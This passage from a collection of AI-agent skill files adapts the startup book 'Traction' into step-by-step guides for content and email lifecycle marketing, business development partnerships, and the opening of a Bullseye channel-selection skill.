- "User has users who sign up but don't activate"
- "User wants to increase retention via email"
- "User is planning a lead magnet or content upgrade"
prerequisites:
- skill: bullseye-channel-selection
why: "Content/email should be selected via Bullseye"
not_for:
- "Product has no retention to speak of (fix product first)"
environment:
codebase_required: false
codebase_helpful: false
works_offline: true
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 12
iterations_needed: 0
---
# Content and Email Marketing
## When to Use
The startup needs a content strategy, an email strategy, or both integrated. Use this skill when:
- Starting a blog or newsletter from scratch
- Users sign up but don't activate (need activation emails)
- Product-market fit exists but growth isn't compounding (need lifecycle emails)
- A content channel was selected via Bullseye
Content and email are tightly coupled — content builds the email list, email converts the list. This skill covers both as one system.
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Product description and target audience**
→ Check prompt for: product name, category, ideal customer
→ If missing, ask: "What does your product do, and who's the target audience?"
- **Activation definition:** what action defines an "activated" user
→ Check prompt for: "active user", "first upload", "created project"
→ If missing, ask: "What's the first valuable action a user takes? For Dropbox it's uploading a file, for Twitter it's following 5 people. What's yours?"
### Observable Context
- **Existing content/email assets:** prior blog posts, current email list size, current sequences
- **Conversion funnel:** signups vs activations vs retention
### Default Assumptions
- 4-stage lifecycle: Acquisition → Activation → Retention → Revenue
- CEO personal email 30 minutes after signup (Colin Nederkoorn pattern)
- Never buy email lists — organic only (avoid the spam trap)
### Sufficiency Threshold
```
SUFFICIENT: product + audience + activation definition known
PROCEED WITH DEFAULTS: product + audience known, use "first valuable action" as activation proxy
MUST ASK: product is unknown
```
## Process
Use TodoWrite:
- [ ] Step 1: Define activation threshold
- [ ] Step 2: Plan acquisition content topics
- [ ] Step 3: Design activation email sequence
- [ ] Step 4: Design retention emails
- [ ] Step 5: Design revenue/upsell emails
- [ ] Step 6: Avoid the spam trap
### Step 1: Define Activation Threshold
**ACTION:** Identify the specific action that defines an "activated" user. This must be:
- Specific (not vague engagement)
- Measurable (trackable in analytics)
- Predictive (users who hit it stick; users who don't, churn)
Examples: Twitter — follow 5 people. Dropbox — upload 1 file. Facebook — friend 7 people in 10 days. Slack — send 2,000 messages. These are the actual activation thresholds from real products.
Write the threshold to `activation-definition.md`.
**WHY:** Without a clear activation threshold, email sequences can't target drop-offs. "Send onboarding emails" without knowing the activation event produces generic welcome emails that don't move the needle. The threshold is the foundation for the entire activation email strategy.
**IF** retention data doesn't exist → pick a reasonable first-value action as a hypothesis. Measure and refine.
### Step 2: Plan Acquisition Content Topics
**ACTION:** Design content topics that attract the target audience, especially BEFORE they're ready to buy. Content marketing is list-building as much as it is brand-building.
Topics by type:
- **Awareness-stage content:** problems the audience has that your product solves
- **Consideration-stage content:** comparisons, case studies, how-to guides
- **Decision-stage content:** product-specific content (pricing analyses, specific use cases)
Every content piece should have a **lead magnet** — a free resource (checklist, template, mini-ebook) that captures the email in exchange. This is how content becomes an email list.
**WHY:** Content without a capture mechanism builds awareness but doesn't build a list. The list is the asset. A blog post with 10,000 views and no email captures is 10,000 visits wasted. The lead magnet is what converts anonymous traffic into named leads you can nurture.
**IF** no content capacity exists → budget for 2-4 freelance articles per month as a baseline.
### Step 3: Design Activation Email Sequence
**ACTION:** For each step from signup to activation, identify potential drop-off points. Create an email triggered when a user fails to complete each step within N days.
Colin Nederkoorn's (Customer.io founder) pattern:
1. Map the ideal user experience step-by-step from signup to activation
2. Identify every step where users drop off
3. Create an automated email triggered when a user fails to complete that step within N days
4. Each email nudges the user back to the ideal path
5. Add a personal "CEO email" 30 minutes after signup — this one email opened communication and produced 17% reply rates for Colin
Example sequence for a Dropbox-like product:
- Day 0 (30min): CEO personal email, no sales pitch
- Day 1: "Here's how to upload your first file" (if not uploaded)
- Day 3: "Users who upload 5+ files stick around 10x longer"
- Day 7: "Having trouble? Here's a video walkthrough"
**WHY:** Users don't churn because they disliked the product — they churn because they never got to the valuable moment. Activation emails close the gap between signup and value. Each drop-off point has a specific email that addresses that specific reason.
### Step 4: Design Retention Emails
**ACTION:** For infrequent-use products (the most common case), retention emails keep the product top-of-mind:
- **Weekly/monthly value summary** — Mint's weekly financial summary. BillGuard's monthly credit card report. Reminds users why they signed up.
- **Re-engagement triggers** — "Someone mentioned you" (Twitter), "New reply to your question" (Stack Overflow).
- **"You are so awesome" emails** — Patrick McKenzie's pattern. Usage summaries that make the user feel good about using the product.
- **Memory-anchored emails** — Photo site anniversaries, "A year ago today..." hooks.
Write the retention sequence to `retention-emails.md`.
**WHY:** Retention is about presence. Products the user loves but forgets about cease to exist in their life. Retention emails are not about selling — they're about reminding. Mint's weekly summary isn't pitched as retention, it's pitched as value. The retention effect is a byproduct.
### Step 5: Design Revenue / Upsell Emails
**ACTION:** For users who are activated and retained, design sequences that drive expansion revenue:
- **Referral emails** — Dropbox's storage-for-referral. Incentivizes word-of-mouth.
- **Upsell sequences** — WP Engine's 7-email upsell sequence from free tool to paid.
- **Cart abandonment retargeting** — for e-commerce/pricing page abandonment.
- **Feature-gate upgrade prompts** — for freemium products.
These are typically 3-7 email sequences triggered by specific behavior (not time).
**WHY:** Users who are retained but not expanding are leaving revenue on the table. Upsell sequences capture the willing-to-pay tier that wouldn't upgrade without a prompt. Referral emails turn happy users into new-user acquisition. These are pure expansion revenue that wouldn't exist without the email.
### Step 6: Avoid the Spam Trap
**ACTION:** Document the email marketing anti-patterns:
**Never buy email lists.** "Some companies will buy email lists and send people unsolicited email. That is the very definition of spam. Spam makes recipients angry, hurts future email deliverability efforts, and harms your company in the long run."
Other spam patterns:
- Unclear subject lines that trip spam filters
- Missing unsubscribe link
- Using "noreply@" as the from address
- Blast schedules unrelated to user behavior
- Purchased email lists labeled as "leads"
**WHY:** Email deliverability is a reputation asset built over years. One spam complaint rate over 0.3% can cause deliverability issues that take months to recover from. Buying lists is the fastest way to destroy the asset you're trying to build.
## Inputs
- Product description and target audience
- Activation threshold definition
- Current content/email assets (if any)
- Funnel metrics (if available)
## Outputs
Five markdown files:
1. **`activation-definition.md`** — Specific activation threshold
2. **`content-plan.md`** — Content topics by funnel stage + lead magnets
3. **`activation-emails.md`** — Triggered sequences per drop-off point
4. **`retention-emails.md`** — Value summaries, re-engagement, memory-anchored
5. **`revenue-emails.md`** — Referral, upsell, cart recovery, feature gates
## Key Principles
- **The list is the asset, not the blog.** Content without email capture wastes traffic. WHY: Traffic is ephemeral; email is compounding. Without a capture mechanism, every blog post leaves the audience one step removed from the relationship.
- **Activation defines the email target.** Without a threshold, sequences are generic welcomes. WHY: Activation is the handoff from "signup" to "customer." Every email either moves users toward activation or moves them away from churn.
- **Retention emails reinforce value, not sell.** Mint's weekly summary is valuable; a "we miss you" email is annoying. WHY: Users who love the product but forget it churn. Retention emails exist to remind, not convince.
- **Behavioral triggers beat schedule blasts.** Email when users do (or don't do) something, not on Tuesday morning. WHY: Relevance is the single biggest factor in open rates. Behavior-triggered emails are inherently relevant.
- **CEO email 30 minutes after signup.** One personal email opens communication more than 5 automated ones. WHY: Users expect automation. A human email is unexpected and memorable. Colin Nederkoorn's 17% reply rate proves this.
- **Never buy lists.** Deliverability is a multi-year reputation asset. WHY: One spam complaint surge can destroy deliverability for months. Organic list-building is slower but compounds; bought lists are fast and destructive.
## Examples
**Scenario: SaaS with high signup, low activation**
Trigger: "We get 500 signups per month to our project management tool but only 50 actually create a project. Help."
Process: (1) Activation threshold: "create first project with 2+ tasks." (2) Content plan: 2 articles/month on project management best practices → lead magnets with templates → activation follow-through. (3) Activation sequence: Day 0 CEO email, Day 1 "create your first project in 2 minutes" video, Day 3 "5 project templates to copy", Day 5 "need help? Book a 10min call". (4) Retention: weekly team summary emails. (5) Revenue: upsell to paid when team hits 10 users.
Output: Full lifecycle plan with drop-off-triggered emails.
**Scenario: Blog with no email capture**
Trigger: "Our blog gets 50k visits/month but we only have 200 email subscribers. Ratio is terrible."
Process: (1) Diagnosis: no lead magnets. 50k visits × 2% capture = 1,000 new subs/month achievable. (2) Lead magnet plan: 3 downloadable resources (checklist, template, mini-guide) placed on the top 5 articles. (3) Activation emails for new subscribers: welcome sequence with value, not pitches. (4) Retention: weekly newsletter with curated industry content. (5) Revenue: after 4 weeks of nurture, introduce product.
Output: Content-to-email capture strategy with specific lead magnets and follow-through.
**Scenario: Retention problem for infrequent-use product**
Trigger: "Our expense tracking app has good ratings but users sign up and then forget about it. How do we fix retention?"
Process: (1) Retention is the core problem — infrequent-use product. (2) Weekly value summary: "Here's what you spent this week." Even users who haven't used the app for 2 weeks get reminded of the value. (3) Memory-anchored: "A month ago you saved $47 by noticing your subscription charges." (4) Re-engagement: "You have 3 new transactions to categorize." (5) CEO email on signup + milestone emails ("You've tracked $1,000 in expenses!").
Output: Retention-first email plan that reinforces product value without sales pressure.
## References
- For the 4-stage lifecycle mapping with examples, see [references/lifecycle-stages.md](references/lifecycle-stages.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-bullseye-channel-selection` — Select content/email via Bullseye
- `clawhub install bookforge-seo-channel-strategy` — SEO and content are tightly coupled
- `clawhub install bookforge-viral-growth-loop-design` — Referral emails are part of viral loops
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/lifecycle-stages.md
# The 4-Stage Customer Lifecycle
From Chapter 14 of *Traction*. Every customer passes through these stages, and each stage has distinct email patterns.
## Stage 1: Acquisition
**Goal:** Get people onto the email list.
**Mechanism:** Content + lead magnets + list-building tactics.
Tactics:
- Gated content (email required for download)
- Free course delivered over email
- Newsletter advertising on other newsletters
- Exit-intent popup with lead magnet
- Co-marketing with complementary brands
**What this stage IS NOT:** buying email lists, cold outreach without opt-in.
## Stage 2: Activation
**Goal:** Get users to the first valuable action in your product.
**Mechanism:** Triggered emails at each drop-off point on the path to activation.
The Colin Nederkoorn (Customer.io) process:
1. Define the ideal user journey from signup to activation
2. Identify every step where users drop off
3. Create an automated email for each drop-off
4. Start with a CEO personal email 30 min after signup (17% reply rate)
Example activation thresholds:
- **Twitter:** follow 5 people
- **Dropbox:** upload 1 file
- **Facebook:** 7 friends in 10 days
- **Slack:** 2,000 team messages sent
- **Airbnb:** first booking
## Stage 3: Retention
**Goal:** Keep users engaged over time so they don't churn.
**Mechanism:** Value-reinforcing emails that remind users why they signed up.
Patterns that work:
- **Weekly/monthly value summaries** (Mint's financial report, BillGuard's credit monitoring)
- **Mention/activity notifications** (Twitter "someone mentioned you", Stack Overflow "new answer")
- **Usage reports** (Patrick McKenzie's "you are so awesome" emails with user's own stats)
- **Memory-anchored emails** (photo site anniversaries, "A year ago today...")
These are NOT sales emails. They're value-delivery emails that happen to drive retention.
## Stage 4: Revenue
**Goal:** Convert free users to paid, trial users to subscribers, one-time buyers to repeat customers, and existing customers to higher tiers.
**Mechanism:** Behavior-triggered sequences when users are at natural conversion moments.
Patterns:
- **Upsell sequences** (WP Engine's 7-email sequence from free speed test to paid hosting)
- **Cart abandonment retargeting** (for e-commerce and pricing page abandonment)
- **Feature-gate emails** (freemium products prompting upgrade when user hits the free tier ceiling)
- **Referral emails** (Dropbox storage for referrals — revenue via new acquisition)
- **Win-back campaigns** (churned users with a special offer)
## Cross-Stage Principle: Behavior, Not Schedule
Every stage's emails should be triggered by user behavior, not by calendar schedules. "Email users on Tuesday at 9am" is always worse than "email users when they do X or don't do Y".
Why: relevance is the dominant factor in email performance. Behavior-triggered emails are inherently relevant. Scheduled blasts are inherently irrelevant for some percentage of the audience.
## Exception: Newsletters
Newsletters are the one email type where scheduled sends make sense — because the email itself IS the value, not a prompt to take an action. Mint's weekly financial summary is a newsletter in structure even though it's retention in function.
## Source
Chapter 14 ("Email Marketing") of *Traction* by Gabriel Weinberg and Justin Mares.
Build a business development pipeline with 5 partnership types, attribute-based partner selection, and a 9-step BD process. Use whenever a founder or BD lead...
---
name: business-development-pipeline
description: "Build a business development pipeline with 5 partnership types, attribute-based partner selection, and a 9-step BD process. Use whenever a founder or BD lead is planning partnerships, pursuing integration deals, negotiating licensing, structuring joint ventures, setting up distribution deals, sourcing supply partnerships, or transitioning from traditional BD to low-touch self-serve BD. Activates on phrases like 'business development', 'BD', 'partnerships', 'strategic partner', 'integration partner', 'licensing deal', 'distribution partner', 'joint venture', 'channel partner', 'co-marketing', 'white label', 'BD deal'."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/business-development-pipeline
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [18]
domain: startup-growth
tags: [startup-growth, business-development, partnerships, strategic-alliances, channel-partnerships]
depends-on: [bullseye-channel-selection]
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Company objectives, candidate partners, existing partnerships"
tools-required: [Read, Write]
tools-optional: [AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for BD pipeline spreadsheet and deal docs"
discovery:
goal: "Build a BD pipeline with partner attributes, prioritization, outreach plan, and term sheets"
tasks:
- "Define company objectives BD should serve"
- "Identify which of the 5 partnership types fit"
- "Build pipeline by partner attributes (not brand names)"
- "Plan warm introductions via investors/advisors"
- "Negotiate simple 1-page term sheet"
- "Document 'how the deal was done' post-close"
- "Plan Low-touch BD 2.0 transition"
audience:
roles: [startup-founder, bd-lead, head-of-partnerships]
experience: intermediate
when_to_use:
triggers:
- "User is pursuing strategic partnerships"
- "User needs distribution via a larger partner"
- "Integration deal negotiation"
- "Licensing or joint venture consideration"
prerequisites:
- skill: bullseye-channel-selection
why: "BD should be selected via Bullseye"
not_for:
- "Pure revenue-for-product transactions (use sales instead)"
environment:
codebase_required: false
codebase_helpful: false
works_offline: true
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 11
iterations_needed: 0
---
# Business Development Pipeline
## When to Use
The startup is pursuing partnerships — not pure sales. BD differs from sales: **BD exchanges value through partnerships; sales exchanges dollars for a product.** Use this skill when:
- A partner has distribution, inventory, or brand you need
- You need integration deals to complete a product story
- Licensing (either direction) is on the table
- Planning a joint venture or co-marketing arrangement
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Company objectives:** what BD should serve
→ Check prompt for: "need distribution", "want integration with", "raising next round"
→ If missing, ask: "What specific company objectives should BD help achieve? Distribution? Brand credibility? Product completeness? Inventory?"
- **Current state:** existing partnerships, team resources
→ Check prompt for: partners, BD lead, prior deals
### Observable Context
- **Product category:** determines which partners are relevant
- **Investor/advisor network:** source of warm introductions
### Default Assumptions
- Partners identified by attributes, not brand names
- Pipeline size: 10-20 focused partners, not 100+
- Warm introductions only for initial outreach
- 1-page term sheets, not 20-page contracts
### Sufficiency Threshold
```
SUFFICIENT: company objectives + candidate attributes known
PROCEED WITH DEFAULTS: objectives known, infer partner attributes
MUST ASK: no clear objective for BD
```
## Process
Use TodoWrite:
- [ ] Step 1: Define company objectives BD serves
- [ ] Step 2: Pick the 1-2 partnership types that fit
- [ ] Step 3: Build pipeline by partner attributes
- [ ] Step 4: Get warm introductions
- [ ] Step 5: Negotiate simple term sheets
- [ ] Step 6: Document deal completion
- [ ] Step 7: Plan Low-touch BD 2.0
### Step 1: Define Company Objectives
**ACTION:** Start by listing the 1-3 key company objectives BD should serve. Every BD deal should map to an objective. Common objectives:
- **Growth / distribution** — need access to a larger customer base
- **Revenue** — shared revenue models, white-label
- **Product** — integration completes a product story
- **Credibility** — partnership with a recognizable brand
- **Inventory / supply** — access to key inputs (content, data, goods)
Work backwards: "What does our fundraising deck need to show in 12 months?" Use this to define which partnerships are strategic.
**WHY:** BD is easy to do badly — partnerships that feel prestigious but don't advance company goals. Tying BD to specific objectives prevents "shiny partnership" traps where you spend 3 months negotiating a deal that doesn't matter.
### Step 2: Pick the 1-2 Partnership Types That Fit
**ACTION:** The 5 partnership types (see [references/partnership-types.md](references/partnership-types.md)):
1. **Standard Partnership** — joint product enhancement (Nike+/Apple)
2. **Joint Venture** — new product built together (Starbucks/Pepsi Frappuccino)
3. **Licensing** — brand or IP licensed (Starbucks ice cream, Spotify music)
4. **Distribution Deal** — product/service exchanged for customer access (Groupon, Kayak/AOL)
5. **Supply Partnership** — access to key inputs (Half.com used books, YouTube channel partners)
Pick the 1-2 that match the objective. Don't pursue all 5.
**WHY:** Different deal types have different negotiation patterns, legal structures, and risk profiles. Mixing types produces muddled deals that don't close cleanly. Choosing type upfront aligns expectations.
### Step 3: Build the Pipeline by Partner Attributes
**ACTION:** Instead of listing brand names ("let's partner with Microsoft"), list partner *attributes*:
Example attribute filter: "Internet retailers ranked 50-250 on IR500, with shipping infrastructure in North America, revenue $10M-$500M, distributing consumer electronics"
Build a pipeline of 10-20 partners matching these attributes. Score by:
- Strategic fit to company objective
- Ease of reach (warm intro available?)
- Deal size / impact
- Probability of close
Write the pipeline to `bd-pipeline.csv` with columns: company, type, contact, size, relevance, ease, priority_score.
**WHY:** Attribute-based selection avoids the "big brand bias" where founders chase marquee partners who won't take the meeting. Attribute selection produces partners who are the right size, the right industry, and the right stage — who actually return calls. Chris Fralic (Half.com): the pipeline should prioritize fit, not fame.
### Step 4: Get Warm Introductions
**ACTION:** For every partner in the pipeline, identify a warm introduction path:
- Investors who know the partner
- Advisors with relationships
- Former colleagues now at the partner
- Conference connections
- Customer mutual friends
Prepare a 1-page proposal overview the introducer can forward. Make it easy to pass along.
**Never cold-email BD prospects.** Cold sales works; cold BD doesn't. Partners respond to introductions, not pitches.
**WHY:** BD deals involve trust and strategic alignment, which cold contact cannot establish. Warm introductions signal credibility — the introducer's reputation is at stake, so the recipient pays attention. Cold BD outreach produces 1-2% response rates; warm intros produce 40%+.
**IF** no warm intro path exists → build one. Attend industry events, join investor networks, or trade favors with advisors.
### Step 5: Negotiate Simple Term Sheets
**ACTION:** Keep initial term sheets to 1 page. Include:
- **Deal lifetime** — duration of the partnership
- **Exclusivity** — exclusive or non-exclusive, and to what scope
- **Payment structure** — revenue share, flat fee, equity swap
- **Commitment level** — what each side commits to deliver
- **Guarantees** — any minimums or SLAs
- **Revenue share** — if applicable, specific percentages
Long contracts (20+ pages) at initial stage kill deals. 1-page term sheets get signed; 20-page contracts get stuck in legal review for months.
**WHY:** Complexity kills early-stage BD. The goal is to establish clear terms fast so both sides can start executing. Lawyers can add detail later. Over-engineered initial contracts signal distrust and consume negotiation energy that should be spent on the relationship.
### Step 6: Document "How the Deal Was Done"
**ACTION:** After closing, write a memo documenting:
- How the partnership came together (intro path, first meeting, breakthroughs)
- Who the key contacts were
- Sticking points encountered and how they were resolved
- What interested the partner (the specific hook)
- What the next 90 days look like
Save to `bd-deal-postmortem.md` per deal.
**WHY:** BD knowledge is tacit. Founders who do 3 deals and don't document anything lose the patterns. Documenting creates a playbook for the next deal. Chris Fralic's (Half.com) approach: every closed deal gets a "how it was done" memo, and those memos inform the next negotiation.
### Step 7: Plan Low-Touch BD 2.0
**ACTION:** After 2-3 traditional partnerships establish the model, transition to self-serve BD. Build API integrations, embed codes, or partner portals that enable new partners to integrate without custom negotiation.
Delicious/Mozilla example: after manual integration with Mozilla, Delicious built an API that let any partner integrate at scale without BD team involvement.
**WHY:** Manual BD doesn't scale. Every new partner means new negotiations, contracts, custom integrations. Low-touch BD converts the manual work into a product that partners onboard themselves. This is the transition from BD as a channel to BD as a product surface.
## Inputs
- Company objectives (specifically what BD serves)
- Partner attribute criteria
- Warm intro network (investors, advisors)
## Outputs
Five files:
1. **`bd-objectives.md`** — Company objectives BD serves
2. **`bd-pipeline.csv`** — Prioritized partner list by attributes
3. **`bd-term-sheets.md`** — 1-page term sheets per active deal
4. **`bd-deal-postmortem.md`** — "How the deal was done" memo per closed deal
5. **`bd-low-touch-plan.md`** — Transition plan to self-serve integrations (if scale warrants)
## Key Principles
- **BD is not sales.** BD exchanges value; sales exchanges money. WHY: Confusing the two leads to wrong conversations — pitching a sales deal to a BD prospect, or vice versa. The distinction determines everything from introduction style to contract structure.
- **Attributes, not brand names.** Pipeline by fit, not by prestige. WHY: Big-brand BD targets rarely return calls to early-stage startups. Attribute-based pipelines produce partners who are the right size and actually engage.
- **Warm intros only.** Cold BD doesn't work. WHY: BD requires trust that cold outreach can't establish. The investor/advisor who introduces you has reputation at stake, which is the credibility substitute.
- **1-page term sheets at the start.** Long contracts kill deals. WHY: Complexity at the negotiation stage produces legal delays and fatigue. Simple terms get signed; complex ones get stuck. Detail is added later.
- **Every deal gets a "how it was done" memo.** BD knowledge is tacit and perishable. WHY: Without documentation, patterns are lost and each deal is a first-time experience. Documentation creates the BD playbook.
- **Transition to low-touch BD 2.0 after 2-3 deals.** Manual BD doesn't scale past a handful. WHY: Every new partner is a bespoke negotiation unless you build a self-serve layer. At scale, BD must become a product surface.
## Examples
**Scenario: Early-stage SaaS needing integration partners**
Trigger: "We built a project management tool and need integrations with Slack, Google Drive, Notion. How do we do BD?"
Process: (1) Objective: product completeness (integration story). (2) Type: Standard Partnership (product enhancement). (3) Attributes: top 20 tools in PM-adjacent categories that have integration APIs and partner programs. Most don't need BD — they have self-serve partner programs. (4) Warm intros for the 3-5 that require custom integration. (5) 1-page terms: "free integration, mutual logo placement, co-marketing blog post at launch". (6) Post-close memo. (7) After 3 integrations, build an integration framework and self-serve partner docs.
Output: BD pipeline focused on strategic integrations, self-serve path for the rest.
**Scenario: Distribution deal negotiation**
Trigger: "A big retailer wants to distribute our hardware product. They're asking for 40% margin and exclusivity. Is this a good deal?"
Process: (1) Objective check: does this match our distribution objective? (2) Type: Distribution Deal. (3) Evaluate terms against standard distribution ranges: 30-45% margin is normal, exclusivity is negotiable. (4) 1-page term sheet: 40% margin OK, but exclusivity limited to a specific category/region/time period. Guarantees: minimum $X annual purchase. (5) Warm intro path to their CEO (via your board advisor) if negotiations stall. (6) Post-close: document sticking points for next deal.
Output: Term sheet with specific negotiation levers and a backup intro path.
**Scenario: Founder pursuing "marquee" BD**
Trigger: "I want to partner with Apple. We'd be on every iPhone. How do I get a meeting?"
Process: (1) Reality check: Apple doesn't do BD meetings with early-stage startups without existing traction. Marquee targets rarely return calls. (2) Attribute filter: instead of Apple specifically, list all companies with large iOS developer audiences (Stripe, Firebase, Twilio, etc.). These are reachable partners. (3) Pipeline of 15 reachable partners. (4) Warm intros for the top 5. (5) After 2-3 deals close, THEN the Apple conversation becomes plausible — you have credibility to bring.
Output: Redirected BD pipeline from marquee-chasing to attribute-based reachable partners.
## References
- For the 5 partnership types in full detail, see [references/partnership-types.md](references/partnership-types.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-bullseye-channel-selection` — Select BD as a channel
- `clawhub install bookforge-startup-sales-process` — Sales vs BD distinction
- `clawhub install bookforge-startup-critical-path-planning` — BD deals are often critical path milestones
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/partnership-types.md
# The 5 Partnership Types
Complete taxonomy from Chapter 17 of *Traction*.
## 1. Standard Partnership
**Structure:** Two companies enhance one or both of their products by leveraging unique capabilities.
**Typical scope:** Product integration, feature co-development, shared marketing.
**Equity:** Usually none.
**Example:** Nike+ / Apple. Nike needed accurate sports tracking; Apple wanted sports app volume. Integration benefited both.
**When to use:** When both parties have complementary capabilities and the combined product is stronger than either alone.
**Deal complexity:** Low to medium.
## 2. Joint Venture
**Structure:** Two (or more) companies create an entirely new product or company together. Shared investment, shared risk, shared reward.
**Typical scope:** New product line with its own brand, operations, or organization.
**Equity:** Often involves equity in the new venture, or revenue-sharing on the new product.
**Example:** Starbucks + PepsiCo bottled Frappuccino drinks. Neither company alone could have made bottled coffee drinks this successful; the JV leveraged Starbucks' brand and coffee expertise with PepsiCo's beverage distribution.
**When to use:** When a new product requires capabilities neither party has alone, and when the potential market is large enough to justify shared investment.
**Deal complexity:** High. JVs have their own governance, equity, and often staffing.
**Timeline:** Years, not months.
## 3. Licensing
**Structure:** One party's brand, IP, or content is licensed to another party for use in the licensee's product.
**Typical scope:** Use of a brand name, patent, copyright, or rights on specific terms.
**Equity:** None, but often involves royalty payments.
**Examples:**
- Starbucks ice cream — Starbucks licensed the brand to an ice cream maker
- Spotify/Grooveshark licensing music from record labels — forced licensing for legal music streaming
- Microsoft licensing DOS to IBM
**When to use:** When one party has valuable IP/brand and the other has production or distribution capability.
**Deal complexity:** Medium. Licensing contracts need careful scope definition.
## 4. Distribution Deal
**Structure:** One party provides a product or service; the other provides access to their customer base or distribution channel.
**Typical scope:** Product placement, channel access, co-marketing to customer base.
**Equity:** None, but often revenue share.
**Examples:**
- Groupon model — merchants provide deals, Groupon provides distribution to its email list
- Kayak/AOL — Kayak's search tech powered AOL's travel search; Kayak got access to AOL's audience
- Channel reseller agreements
**When to use:** When you have a product without distribution, and the partner has distribution without a product.
**Deal complexity:** Medium. Terms involve exclusivity, territory, and margin structure.
## 5. Supply Partnership
**Structure:** Access to key inputs (content, data, goods) essential to your product.
**Typical scope:** Ongoing supply of a needed input.
**Equity:** None.
**Examples:**
- Half.com used book supply — Half.com needed books to sell before launch, formed supply partnerships with used book providers
- YouTube channel partners — YouTube needed content creators and shares revenue with them
- Walmart supplier agreements — access to consumer goods at scale
**When to use:** When your product can't exist without a specific input that only a partner can provide.
**Deal complexity:** Medium. Often involves exclusivity, volume commitments, quality standards.
## Choosing the Type
| Need | Type |
|------|------|
| Better combined product | Standard Partnership |
| New product requiring shared capability | Joint Venture |
| Brand/IP leverage | Licensing |
| Customer access you don't have | Distribution Deal |
| Key input you can't produce | Supply Partnership |
## Strategic Alignment Principle
Good BD deals align with your Critical Path milestones. Bad BD deals sound prestigious but don't advance company objectives. Before entering any BD negotiation, ask: "Does this deal help us hit a specific traction goal milestone?" If not, say no — even if the partner is marquee.
## Source
Chapter 17 ("Business Development") of *Traction* by Gabriel Weinberg and Justin Mares, with contributions from Chris Fralic (Half.com).
Guide systematic customer acquisition channel selection using the Bullseye Framework. Use whenever a startup founder, growth marketer, or product leader is d...
---
name: bullseye-channel-selection
description: "Guide systematic customer acquisition channel selection using the Bullseye Framework. Use whenever a startup founder, growth marketer, or product leader is deciding which marketing channel to focus on, evaluating customer acquisition options, choosing between viral, SEO, SEM, content, sales, PR, or any other growth channel, struggling with where to invest marketing budget, trying to escape channel bias, asking 'how do we get customers', planning a go-to-market, or needs to narrow 19 possible channels down to one focused bet. Activates on phrases like 'channel selection', 'customer acquisition', 'marketing strategy', 'growth channel', 'traction channel', 'Bullseye Framework', 'which channel should we use', 'how do we grow', 'marketing plan', or any discussion of prioritizing acquisition investments."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/bullseye-channel-selection
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [2, 3]
domain: startup-growth
tags: [startup-growth, customer-acquisition, channel-selection, marketing-strategy, growth-marketing]
depends-on: []
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Startup context — product description, stage, target customer, traction goal, budget"
tools-required: [Read, Write]
tools-optional: [AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for channel evaluation documents and ranked shortlist"
discovery:
goal: "Select the single customer acquisition channel most likely to produce traction at the current startup stage"
tasks:
- "Generate ideas for all 19 traction channels to counteract founder bias"
- "Rank channels into Inner Circle, Potential, and Long-shot tiers"
- "Identify exactly 3 inner-circle channels to test in parallel"
- "Design cheap tests for each inner-circle channel"
- "Focus resources on the single channel producing best test results"
audience:
roles: [startup-founder, growth-marketer, head-of-marketing]
experience: beginner-to-intermediate
when_to_use:
triggers:
- "User asks which marketing channel to pursue"
- "User is stuck in one channel and needs to explore alternatives"
- "User has a new product and no traction strategy yet"
- "User's current channel is saturating (rising CAC, falling CTR)"
prerequisites: []
not_for:
- "User has already validated a single working channel and wants to optimize it (use A/B testing skill)"
- "User is pre-product — no product exists to acquire customers for yet"
environment:
codebase_required: false
codebase_helpful: false
works_offline: true
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 12
iterations_needed: 0
---
# Bullseye Channel Selection
## When to Use
You need to choose a customer acquisition channel for a startup, and the answer is not obvious. Before starting, verify:
- The product exists in some usable form (pre-product → product work comes first)
- The user can describe their target customer (even roughly)
- The user is open to considering channels they haven't tried before
If the user is already invested in a channel that's producing results, they likely want to *optimize* that channel, not re-select. Ask before running this skill.
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Product description:** what it is, who it's for, what stage it's at
→ Check prompt for: product name, category, target user description
→ If missing, ask: "What does your product do, and who is the target customer?"
- **Traction goal:** a specific numeric target (users, revenue, signups) over a specific timeframe
→ Check prompt for: numbers with "users", "customers", "revenue", timeframes
→ If missing, ask: "What's your traction goal? For example: '1,000 paying customers in 6 months' or '10,000 signups by end of quarter'."
- **Budget envelope:** rough dollar range available for channel testing
→ Check prompt for: dollar amounts, "budget", "can spend"
→ If missing, ask: "Roughly what budget do you have for testing acquisition channels? Even $500-$2,000 is enough to start."
### Observable Context (gather from environment)
